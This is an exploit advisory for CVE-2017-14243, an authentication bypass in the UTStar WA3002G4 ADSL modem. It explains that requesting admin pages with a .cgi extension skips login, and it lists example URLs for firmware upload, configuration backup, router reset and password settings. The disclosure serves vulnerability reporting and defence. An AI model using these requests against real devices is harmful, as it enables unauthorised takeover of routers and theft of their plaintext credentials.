UTStar WA3002G4 ADSL Broadband Modem Authentication Bypass

UTStar WA3002G4 ADSL Broadband Modem suffers from multiple authentication bypass vulnerabilities.


MD5 | 76b06148bd896167e3da312b301ddd69

# Exploit Title: UTStar WA3002G4 ADSL Broadband Modem Authentication Bypass Vulnerability
# CVE: CVE-2017-14243
# Date: 15-09-2017
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: UTStar WA3002G4 ADSL Broadband Modem
# Firmware version: WA3002G4-0021.01
# Vendor Homepage: http://www.utstar.com/
# Reference: https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass


Vulnerability Details
======================
The CGI version of the admin page of UTStar modem does not authenticate the user and hence any protected page in the modem can be directly accessed by replacing page extension with cgi. This could also allow anyone to perform operations such as reset modem, change passwords, backup configuration without any authentication. The modem also disclose passwords of each users (Admin, Support and User) in plain text behind the page source.

How to reproduce
===================
Suppose 192.168.1.1 is the device IP and one of the admin protected page in the modem is http://192.168.1.1/abcd.html, then the page can be directly accessed as as http://192.168.1.1/abcd.cgi

Example URLs:
* http://192.168.1.1/info.cgi a Status and details
* http://192.168.1.1/upload.cgi a Firmware Upgrade
* http://192.168.1.1/backupsettings.cgi a perform backup settings to PC
* http://192.168.1.1/pppoe.cgi a PPPoE settings
* http://192.168.1.1/resetrouter.cgi a Router reset
* http://192.168.1.1/password.cgi a password settings

POC
=========
* https://www.youtube.com/watch?v=-wh1Y_jXMGk


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